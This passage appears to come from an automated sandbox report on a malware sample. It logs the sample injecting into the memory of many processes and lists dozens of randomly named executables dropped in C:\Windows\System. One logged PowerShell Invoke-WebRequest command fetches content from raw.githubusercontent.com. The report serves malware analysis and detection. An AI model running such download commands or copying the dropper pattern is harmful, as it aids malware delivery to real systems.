PID 2076 wrote to memory of 2512	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\EaoDjQF.exe
PID 2076 wrote to memory of 2512	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\EaoDjQF.exe
PID 2076 wrote to memory of 2512	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\EaoDjQF.exe
PID 2076 wrote to memory of 2552	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\PNZLQbJ.exe
PID 2076 wrote to memory of 2552	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\PNZLQbJ.exe
PID 2076 wrote to memory of 2552	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\PNZLQbJ.exe
PID 2076 wrote to memory of 2616	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\uGsExMV.exe
PID 2076 wrote to memory of 2616	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\uGsExMV.exe
PID 2076 wrote to memory of 2616	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\uGsExMV.exe
PID 2076 wrote to memory of 2760	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\TssLdsW.exe
PID 2076 wrote to memory of 2760	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\TssLdsW.exe
PID 2076 wrote to memory of 2760	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\TssLdsW.exe
PID 2076 wrote to memory of 2544	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\qtQXwqS.exe
PID 2076 wrote to memory of 2544	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\qtQXwqS.exe
PID 2076 wrote to memory of 2544	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\qtQXwqS.exe
PID 2076 wrote to memory of 2412	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\sEgFUUs.exe
PID 2076 wrote to memory of 2412	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\sEgFUUs.exe
PID 2076 wrote to memory of 2412	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\sEgFUUs.exe
PID 2076 wrote to memory of 2564	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\DZCDKOa.exe
PID 2076 wrote to memory of 2564	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\DZCDKOa.exe
PID 2076 wrote to memory of 2564	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\DZCDKOa.exe
PID 2076 wrote to memory of 2712	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\oUlNoAc.exe
PID 2076 wrote to memory of 2712	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\oUlNoAc.exe
PID 2076 wrote to memory of 2712	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\oUlNoAc.exe
PID 2076 wrote to memory of 1096	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\LLMujzp.exe
PID 2076 wrote to memory of 1096	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\LLMujzp.exe
PID 2076 wrote to memory of 1096	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\LLMujzp.exe
PID 2076 wrote to memory of 2096	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\KLxSuBL.exe
PID 2076 wrote to memory of 2096	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\KLxSuBL.exe
PID 2076 wrote to memory of 2096	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\KLxSuBL.exe
PID 2076 wrote to memory of 2684	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\SBGzqYX.exe
PID 2076 wrote to memory of 2684	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\SBGzqYX.exe
PID 2076 wrote to memory of 2684	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\SBGzqYX.exe
PID 2076 wrote to memory of 2256	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\oUmaXpM.exe
PID 2076 wrote to memory of 2256	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\oUmaXpM.exe
PID 2076 wrote to memory of 2256	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\oUmaXpM.exe
PID 2076 wrote to memory of 1052	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\cGOuBvi.exe
PID 2076 wrote to memory of 1052	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\cGOuBvi.exe
PID 2076 wrote to memory of 1052	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\cGOuBvi.exe
PID 2076 wrote to memory of 1968	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\GhNdvBw.exe
PID 2076 wrote to memory of 1968	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\GhNdvBw.exe
PID 2076 wrote to memory of 1968	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\GhNdvBw.exe
PID 2076 wrote to memory of 2728	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\eQZXhYa.exe
PID 2076 wrote to memory of 2728	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\eQZXhYa.exe
PID 2076 wrote to memory of 2728	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\eQZXhYa.exe
PID 2076 wrote to memory of 1932	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\eyBHHxC.exe
PID 2076 wrote to memory of 1932	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\eyBHHxC.exe
PID 2076 wrote to memory of 1932	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\eyBHHxC.exe
PID 2076 wrote to memory of 960	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\DpMOVww.exe
PID 2076 wrote to memory of 960	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\DpMOVww.exe
PID 2076 wrote to memory of 960	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\DpMOVww.exe
PID 2076 wrote to memory of 1508	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\BGPoBgA.exe

Processes

C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe

"C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "

C:\Windows\System\VdVKCiM.exe

C:\Windows\System\VdVKCiM.exe

C:\Windows\System\IgaVQeK.exe

C:\Windows\System\IgaVQeK.exe

C:\Windows\System\hLRKbdd.exe

C:\Windows\System\hLRKbdd.exe

C:\Windows\System\EaoDjQF.exe

C:\Windows\System\EaoDjQF.exe

C:\Windows\System\PNZLQbJ.exe

C:\Windows\System\PNZLQbJ.exe

C:\Windows\System\uGsExMV.exe

C:\Windows\System\uGsExMV.exe

C:\Windows\System\TssLdsW.exe

C:\Windows\System\TssLdsW.exe

C:\Windows\System\qtQXwqS.exe

C:\Windows\System\qtQXwqS.exe

C:\Windows\System\sEgFUUs.exe

C:\Windows\System\sEgFUUs.exe

C:\Windows\System\DZCDKOa.exe

C:\Windows\System\DZCDKOa.exe

C:\Windows\System\oUlNoAc.exe

C:\Windows\System\oUlNoAc.exe

C:\Windows\System\LLMujzp.exe

C:\Windows\System\LLMujzp.exe

C:\Windows\System\KLxSuBL.exe

C:\Windows\System\KLxSuBL.exe

C:\Windows\System\SBGzqYX.exe

C:\Windows\System\SBGzqYX.exe

C:\Windows\System\oUmaXpM.exe

C:\Windows\System\oUmaXpM.exe

C:\Windows\System\cGOuBvi.exe

C:\Windows\System\cGOuBvi.exe

C:\Windows\System\GhNdvBw.exe

C:\Windows\System\GhNdvBw.exe

C:\Windows\System\eQZXhYa.exe

C:\Windows\System\eQZXhYa.exe

C:\Windows\System\eyBHHxC.exe

C:\Windows\System\eyBHHxC.exe

C:\Windows\System\DpMOVww.exe

C:\Windows\System\DpMOVww.exe

C:\Windows\System\BGPoBgA.exe

C:\Windows\System\BGPoBgA.exe

C:\Windows\System\XiWcEzm.exe

C:\Windows\System\XiWcEzm.exe

C:\Windows\System\nKWLWdQ.exe

C:\Windows\System\nKWLWdQ.exe

C:\Windows\System\YWaCAgW.exe

C:\Windows\System\YWaCAgW.exe

C:\Windows\System\raEShGs.exe

C:\Windows\System\raEShGs.exe

C:\Windows\System\NgBVWZb.exe

C:\Windows\System\NgBVWZb.exe

C:\Windows\System\AhUvjVT.exe

C:\Windows\System\AhUvjVT.exe

C:\Windows\System\tcTuzUP.exe

C:\Windows\System\tcTuzUP.exe

C:\Windows\System\vkmWHmN.exe

C:\Windows\System\vkmWHmN.exe

C:\Windows\System\QFoiEsJ.exe

C:\Windows\System\QFoiEsJ.exe

C:\Windows\System\EzoaPUW.exe

C:\Windows\System\EzoaPUW.exe

C:\Windows\System\hlzBIox.exe

C:\Windows\System\hlzBIox.exe

C:\Windows\System\iqnwIWw.exe

C:\Windows\System\iqnwIWw.exe

C:\Windows\System\oEttjxJ.exe

C:\Windows\System\oEttjxJ.exe

C:\Windows\System\QtdIryt.exe

C:\Windows\System\QtdIryt.exe

C:\Windows\System\EQXgQDw.exe

C:\Windows\System\EQXgQDw.exe

C:\Windows\System\vMmISHL.exe

C:\Windows\System\vMmISHL.exe

C:\Windows\System\RasLXnH.exe

C:\Windows\System\RasLXnH.exe

C:\Windows\System\TzCHOaK.exe

C:\Windows\System\TzCHOaK.exe

C:\Windows\System\pgPSexm.exe

C:\Windows\System\pgPSexm.exe

C:\Windows\System\JociUts.exe

C:\Windows\System\JociUts.exe

C:\Windows\System\dfMKJir.exe

C:\Windows\System\dfMKJir.exe

C:\Windows\System\YQxPbSL.exe

C:\Windows\System\YQxPbSL.exe

C:\Windows\System\koJPZnv.exe

C:\Windows\System\koJPZnv.exe

C:\Windows\System\BQkjKbL.exe

C:\Windows\System\BQkjKbL.exe

C:\Windows\System\SZvvhRA.exe

C:\Windows\System\SZvvhRA.exe

C:\Windows\System\nZHDYDh.exe

C:\Windows\System\nZHDYDh.exe

C:\Windows\System\prHmMlL.exe

C:\Windows\System\prHmMlL.exe

C:\Windows\System\kWqMvya.exe

C:\Windows\System\kWqMvya.exe

C:\Windows\System\oFXjXHr.exe

C:\Windows\System\oFXjXHr.exe

C:\Windows\System\JJAKzzY.exe

C:\Windows\System\JJAKzzY.exe

C:\Windows\System\akPZugz.exe

C:\Windows\System\akPZugz.exe

C:\Windows\System\vceuGJX.exe

C:\Windows\System\vceuGJX.exe

C:\Windows\System\QelhxCn.exe

C:\Windows\System\QelhxCn.exe

C:\Windows\System\pnkPhnO.exe

C:\Windows\System\pnkPhnO.exe

C:\Windows\System\dhAdmoN.exe

C:\Windows\System\dhAdmoN.exe

C:\Windows\System\kjxtSpg.exe

C:\Windows\System\kjxtSpg.exe

C:\Windows\System\MzRwjCx.exe

C:\Windows\System\MzRwjCx.exe

C:\Windows\System\BaFdoNS.exe

C:\Windows\System\BaFdoNS.exe

C:\Windows\System\dCCRntD.exe

C:\Windows\System\dCCRntD.exe

C:\Windows\System\BbsrXkn.exe

C:\Windows\System\BbsrXkn.exe

C:\Windows\System\KAVeLEu.exe

C:\Windows\System\KAVeLEu.exe

C:\Windows\System\tYlZqnO.exe

C:\Windows\System\tYlZqnO.exe

C:\Windows\System\foabygv.exe

C:\Windows\System\foabygv.exe

C:\Windows\System\hAoyYAT.exe

C:\Windows\System\hAoyYAT.exe

C:\Windows\System\yHTrlxw.exe

C:\Windows\System\yHTrlxw.exe

C:\Windows\System\ZxTTXyh.exe

C:\Windows\System\ZxTTXyh.exe

C:\Windows\System\cjmYDsB.exe

C:\Windows\System\cjmYDsB.exe

C:\Windows\System\hphcAkg.exe

C:\Windows\System\hphcAkg.exe

C:\Windows\System\smEHPjM.exe

C:\Windows\System\smEHPjM.exe

C:\Windows\System\yieTfSH.exe

C:\Windows\System\yieTfSH.exe

C:\Windows\System\rqnDfNS.exe

C:\Windows\System\rqnDfNS.exe

C:\Windows\System\ATMELSW.exe

C:\Windows\System\ATMELSW.exe

C:\Windows\System\uturpyK.exe

C:\Windows\System\uturpyK.exe

C:\Windows\System\dUWdCil.exe

C:\Windows\System\dUWdCil.exe

C:\Windows\System\rBhIUwo.exe

C:\Windows\System\rBhIUwo.exe

C:\Windows\System\TcShjnH.exe

C:\Windows\System\TcShjnH.exe

C:\Windows\System\rgwdMiQ.exe

C:\Windows\System\rgwdMiQ.exe

C:\Windows\System\UkyjwEC.exe

C:\Windows\System\UkyjwEC.exe

C:\Windows\System\RTawIPu.exe

C:\Windows\System\RTawIPu.exe

C:\Windows\System\vWhSHmO.exe

C:\Windows\System\vWhSHmO.exe

C:\Windows\System\LOdLTqO.exe

C:\Windows\System\LOdLTqO.exe

C:\Windows\System\PZUYOiZ.exe

C:\Windows\System\PZUYOiZ.exe

C:\Windows\System\iCIrbUy.exe

C:\Windows\System\iCIrbUy.exe

C:\Windows\System\BckSxjc.exe

C:\Windows\System\BckSxjc.exe

C:\Windows\System\aFylFRs.exe

C:\Windows\System\aFylFRs.exe

C:\Windows\System\XjaZsrU.exe

C:\Windows\System\XjaZsrU.exe

C:\Windows\System\omhxEXU.exe

C:\Windows\System\omhxEXU.exe

C:\Windows\System\EAxIYsi.exe

C:\Windows\System\EAxIYsi.exe

C:\Windows\System\gHGAcRz.exe

C:\Windows\System\gHGAcRz.exe

C:\Windows\System\plRlPkj.exe

C:\Windows\System\plRlPkj.exe

C:\Windows\System\WuCSliu.exe

C:\Windows\System\WuCSliu.exe

C:\Windows\System\TIyDFDv.exe

C:\Windows\System\TIyDFDv.exe

C:\Windows\System\LjAeTqf.exe

C:\Windows\System\LjAeTqf.exe

C:\Windows\System\GytZbPz.exe

C:\Windows\System\GytZbPz.exe

C:\Windows\System\vMqocSm.exe

C:\Windows\System\vMqocSm.exe

C:\Windows\System\FTmZiEo.exe

C:\Windows\System\FTmZiEo.exe

C:\Windows\System\CIDqcBY.exe

C:\Windows\System\CIDqcBY.exe

C:\Windows\System\wfwLLTe.exe

C:\Windows\System\wfwLLTe.exe

C:\Windows\System\XDsqJzB.exe

C:\Windows\System\XDsqJzB.exe

C:\Windows\System\nmcEhuy.exe

C:\Windows\System\nmcEhuy.exe

C:\Windows\System\utXUFpK.exe

C:\Windows\System\utXUFpK.exe

C:\Windows\System\vSGWVid.exe

C:\Windows\System\vSGWVid.exe

C:\Windows\System\iRTwPKd.exe

C:\Windows\System\iRTwPKd.exe

C:\Windows\System\CQJkZBU.exe

C:\Windows\System\CQJkZBU.exe

C:\Windows\System\elDivZr.exe

C:\Windows\System\elDivZr.exe

C:\Windows\System\PFgvwfs.exe

C:\Windows\System\PFgvwfs.exe

C:\Windows\System\lrYlMTZ.exe

C:\Windows\System\lrYlMTZ.exe

C:\Windows\System\rNGwgBl.exe

C:\Windows\System\rNGwgBl.exe

C:\Windows\System\ERTgWhU.exe

C:\Windows\System\ERTgWhU.exe

C:\Windows\System\fLzKZiT.exe

C:\Windows\System\fLzKZiT.exe

C:\Windows\System\vCZIGMn.exe

C:\Windows\System\vCZIGMn.exe

C:\Windows\System\PqOjwSV.exe

C:\Windows\System\PqOjwSV.exe

C:\Windows\System\ePseOCw.exe

C:\Windows\System\ePseOCw.exe

C:\Windows\System\icQNLGV.exe

C:\Windows\System\icQNLGV.exe

C:\Windows\System\QIfvAFR.exe

C:\Windows\System\QIfvAFR.exe

C:\Windows\System\qIGkFHz.exe

C:\Windows\System\qIGkFHz.exe

C:\Windows\System\BDRTOgB.exe

C:\Windows\System\BDRTOgB.exe

C:\Windows\System\mlqpdih.exe

C:\Windows\System\mlqpdih.exe

C:\Windows\System\KhLRIwF.exe

C:\Windows\System\KhLRIwF.exe

C:\Windows\System\nGwXbkd.exe

C:\Windows\System\nGwXbkd.exe

C:\Windows\System\ZEkwwZI.exe

C:\Windows\System\ZEkwwZI.exe

C:\Windows\System\UTsMHKS.exe

C:\Windows\System\UTsMHKS.exe

C:\Windows\System\vkypeFx.exe

C:\Windows\System\vkypeFx.exe

C:\Windows\System\KqdeaWS.exe

C:\Windows\System\KqdeaWS.exe

C:\Windows\System\avjOYkO.exe

C:\Windows\System\avjOYkO.exe

C:\Windows\System\CVZZmdX.exe

C:\Windows\System\CVZZmdX.exe

C:\Windows\System\TZbWBRE.exe

C:\Windows\System\TZbWBRE.exe

C:\Windows\System\vsfIlFz.exe

C:\Windows\System\vsfIlFz.exe

C:\Windows\System\duBKQKl.exe

C:\Windows\System\duBKQKl.exe

C:\Windows\System\xuKwoQP.exe

C:\Windows\System\xuKwoQP.exe

C:\Windows\System\GFzEkzf.exe

C:\Windows\System\GFzEkzf.exe

C:\Windows\System\XNlRNuD.exe

C:\Windows\System\XNlRNuD.exe

C:\Windows\System\MEeRKyv.exe

C:\Windows\System\MEeRKyv.exe

C:\Windows\System\fCwZFPs.exe

C:\Windows\System\fCwZFPs.exe

C:\Windows\System\RXzAZXW.exe

C:\Windows\System\RXzAZXW.exe

C:\Windows\System\acDuSEy.exe

C:\Windows\System\acDuSEy.exe

C:\Windows\System\iYggCHK.exe

C:\Windows\System\iYggCHK.exe

C:\Windows\System\aUUllqS.exe

C:\Windows\System\aUUllqS.exe

C:\Windows\System\JltdiGA.exe

C:\Windows\System\JltdiGA.exe

C:\Windows\System\hMBkZWT.exe

C:\Windows\System\hMBkZWT.exe

C:\Windows\System\GtaFHzz.exe

C:\Windows\System\GtaFHzz.exe

C:\Windows\System\nOuHVIV.exe

C:\Windows\System\nOuHVIV.exe

C:\Windows\System\howORMG.exe

C:\Windows\System\howORMG.exe

C:\Windows\System\RdpKYnl.exe

C:\Windows\System\RdpKYnl.exe

C:\Windows\System\QgbsjLR.exe

C:\Windows\System\QgbsjLR.exe

C:\Windows\System\tTtVHeU.exe

C:\Windows\System\tTtVHeU.exe

C:\Windows\System\fFrilFN.exe

C:\Windows\System\fFrilFN.exe

C:\Windows\System\lOXcLrT.exe

C:\Windows\System\lOXcLrT.exe

C:\Windows\System\GRiNHfj.exe

C:\Windows\System\GRiNHfj.exe

C:\Windows\System\mGSKSYK.exe

C:\Windows\System\mGSKSYK.exe

C:\Windows\System\paszjkO.exe

C:\Windows\System\paszjkO.exe

C:\Windows\System\QgKljqO.exe

C:\Windows\System\QgKljqO.exe

C:\Windows\System\QGEAYex.exe

C:\Windows\System\QGEAYex.exe

C:\Windows\System\aAHRNAX.exe

C:\Windows\System\aAHRNAX.exe

C:\Windows\System\ldYyaHP.exe

C:\Windows\System\ldYyaHP.exe

C:\Windows\System\gEQQNlc.exe

C:\Windows\System\gEQQNlc.exe

C:\Windows\System\fnIJxnZ.exe

C:\Windows\System\fnIJxnZ.exe

C:\Windows\System\FyquvVJ.exe

C:\Windows\System\FyquvVJ.exe

C:\Windows\System\NXlvqdC.exe

C:\Windows\System\NXlvqdC.exe

C:\Windows\System\mTocTZA.exe

C:\Windows\System\mTocTZA.exe

C:\Windows\System\xPNTEOX.exe

C:\Windows\System\xPNTEOX.exe

C:\Windows\System\sYnyCCm.exe

C:\Windows\System\sYnyCCm.exe

C:\Windows\System\RRFLhGj.exe

C:\Windows\System\RRFLhGj.exe

C:\Windows\System\jMTSdHM.exe

C:\Windows\System\jMTSdHM.exe

C:\Windows\System\VhdfwEv.exe

C:\Windows\System\VhdfwEv.exe

C:\Windows\System\FKpvNZJ.exe

C:\Windows\System\FKpvNZJ.exe

C:\Windows\System\cSgDNIq.exe

C:\Windows\System\cSgDNIq.exe

C:\Windows\System\xtytKpW.exe

C:\Windows\System\xtytKpW.exe

C:\Windows\System\AyYbPVC.exe

C:\Windows\System\AyYbPVC.exe

C:\Windows\System\GjhommA.exe

C:\Windows\System\GjhommA.exe

C:\Windows\System\QXutoNI.exe

C:\Windows\System\QXutoNI.exe

C:\Windows\System\tStOzdu.exe

C:\Windows\System\tStOzdu.exe

C:\Windows\System\UzCfTFh.exe

C:\Windows\System\UzCfTFh.exe

C:\Windows\System\RkKnWFS.exe

C:\Windows\System\RkKnWFS.exe

C:\Windows\System\SJpCiEn.exe

C:\Windows\System\SJpCiEn.exe

C:\Windows\System\JUtYgXB.exe

C:\Windows\System\JUtYgXB.exe

C:\Windows\System\LNKBDIg.exe

C:\Windows\System\LNKBDIg.exe

C:\Windows\System\DLlAtah.exe

C:\Windows\System\DLlAtah.exe

C:\Windows\System\MdioCZw.exe

C:\Windows\System\MdioCZw.exe

C:\Windows\System\YEECmqe.exe

C:\Windows\System\YEECmqe.exe

C:\Windows\System\JeAYfpl.exe

C:\Windows\System\JeAYfpl.exe

C:\Windows\System\WlWplxW.exe

C:\Windows\System\WlWplxW.exe

C:\Windows\System\OtsPAKU.exe

C:\Windows\System\OtsPAKU.exe

C:\Windows\System\TDuiwoY.exe

C:\Windows\System\TDuiwoY.exe

C:\Windows\System\PFkgvFu.exe

C:\Windows\System\PFkgvFu.exe

C:\Windows\System\nEhAZuh.exe

C:\Windows\System\nEhAZuh.exe

C:\Windows\System\goaYWrg.exe

C:\Windows\System\goaYWrg.exe

C:\Windows\System\DybmbVB.exe

C:\Windows\System\DybmbVB.exe

C:\Windows\System\fAcgwob.exe

C:\Windows\System\fAcgwob.exe

C:\Windows\System\YURQPrS.exe

C:\Windows\System\YURQPrS.exe

C:\Windows\System\gNthqng.exe

C:\Windows\System\gNthqng.exe

C:\Windows\System\LvhhHOk.exe

C:\Windows\System\LvhhHOk.exe

C:\Windows\System\zFMhpNx.exe

C:\Windows\System\zFMhpNx.exe

C:\Windows\System\ioLVozp.exe

C:\Windows\System\ioLVozp.exe

C:\Windows\System\PByWVWl.exe

C:\Windows\System\PByWVWl.exe

C:\Windows\System\FtTqpKc.exe

C:\Windows\System\FtTqpKc.exe

C:\Windows\System\KLcdIEo.exe

C:\Windows\System\KLcdIEo.exe

C:\Windows\System\iDoibvi.exe

C:\Windows\System\iDoibvi.exe

C:\Windows\System\WMddAhY.exe

C:\Windows\System\WMddAhY.exe

C:\Windows\System\iulCJxG.exe

C:\Windows\System\iulCJxG.exe

C:\Windows\System\VHTtqOw.exe

C:\Windows\System\VHTtqOw.exe

C:\Windows\System\bjnWPcq.exe

C:\Windows\System\bjnWPcq.exe

C:\Windows\System\NmNYnut.exe

C:\Windows\System\NmNYnut.exe

C:\Windows\System\PloYeOV.exe

C:\Windows\System\PloYeOV.exe

C:\Windows\System\PDTwhtG.exe

C:\Windows\System\PDTwhtG.exe

C:\Windows\System\IZQJrPk.exe

C:\Windows\System\IZQJrPk.exe

C:\Windows\System\VMOktbt.exe

C:\Windows\System\VMOktbt.exe

C:\Windows\System\yeUJFTZ.exe

C:\Windows\System\yeUJFTZ.exe

C:\Windows\System\NOVuipS.exe

C:\Windows\System\NOVuipS.exe

C:\Windows\System\KqqHejJ.exe

C:\Windows\System\KqqHejJ.exe

C:\Windows\System\SFCAjhE.exe

C:\Windows\System\SFCAjhE.exe

C:\Windows\System\qkLjDlq.exe

C:\Windows\System\qkLjDlq.exe

C:\Windows\System\tWEXsYD.exe

C:\Windows\System\tWEXsYD.exe

C:\Windows\System\yDQBYcp.exe

C:\Windows\System\yDQBYcp.exe

C:\Windows\System\CeZPQeC.exe

C:\Windows\System\CeZPQeC.exe

C:\Windows\System\BSCsivL.exe

C:\Windows\System\BSCsivL.exe

C:\Windows\System\HVPYSGi.exe

C:\Windows\System\HVPYSGi.exe

C:\Windows\System\HHDlBGh.exe

C:\Windows\System\HHDlBGh.exe

C:\Windows\System\bCdEAPE.exe

C:\Windows\System\bCdEAPE.exe

C:\Windows\System\BjjWftZ.exe

C:\Windows\System\BjjWftZ.exe

C:\Windows\System\mpqLUVd.exe

C:\Windows\System\mpqLUVd.exe

C:\Windows\System\fbVeAXM.exe

C:\Windows\System\fbVeAXM.exe

C:\Windows\System\fdqjqeG.exe

C:\Windows\System\fdqjqeG.exe

C:\Windows\System\VceKdmG.exe

C:\Windows\System\VceKdmG.exe

C:\Windows\System\fJddyuI.exe

C:\Windows\System\fJddyuI.exe

C:\Windows\System\JpwizDp.exe

C:\Windows\System\JpwizDp.exe

C:\Windows\System\UjAGCxq.exe

C:\Windows\System\UjAGCxq.exe

C:\Windows\System\AazDUxh.exe

C:\Windows\System\AazDUxh.exe

C:\Windows\System\CHmwCec.exe

C:\Windows\System\CHmwCec.exe

C:\Windows\System\FozMxPC.exe

C:\Windows\System\FozMxPC.exe

C:\Windows\System\NyavmLm.exe

C:\Windows\System\NyavmLm.exe

C:\Windows\System\jUhtfUd.exe

C:\Windows\System\jUhtfUd.exe

C:\Windows\System\andZmLI.exe

C:\Windows\System\andZmLI.exe

C:\Windows\System\iczFbHb.exe

C:\Windows\System\iczFbHb.exe

C:\Windows\System\hlfHEcE.exe

C:\Windows\System\hlfHEcE.exe

C:\Windows\System\POtsRqy.exe

C:\Windows\System\POtsRqy.exe

C:\Windows\System\WWNuHIL.exe

C:\Windows\System\WWNuHIL.exe

C:\Windows\System\pKkTTkH.exe

C:\Windows\System\pKkTTkH.exe

C:\Windows\System\wDeZZRN.exe

C:\Windows\System\wDeZZRN.exe

C:\Windows\System\ELUoVOO.exe

C:\Windows\System\ELUoVOO.exe

C:\Windows\System\AKZdLGP.exe

C:\Windows\System\AKZdLGP.exe

C:\Windows\System\BpEYVkQ.exe

C:\Windows\System\BpEYVkQ.exe

C:\Windows\System\WxYrAsN.exe

C:\Windows\System\WxYrAsN.exe

C:\Windows\System\anCtpPo.exe

C:\Windows\System\anCtpPo.exe

C:\Windows\System\GOmABOy.exe

C:\Windows\System\GOmABOy.exe

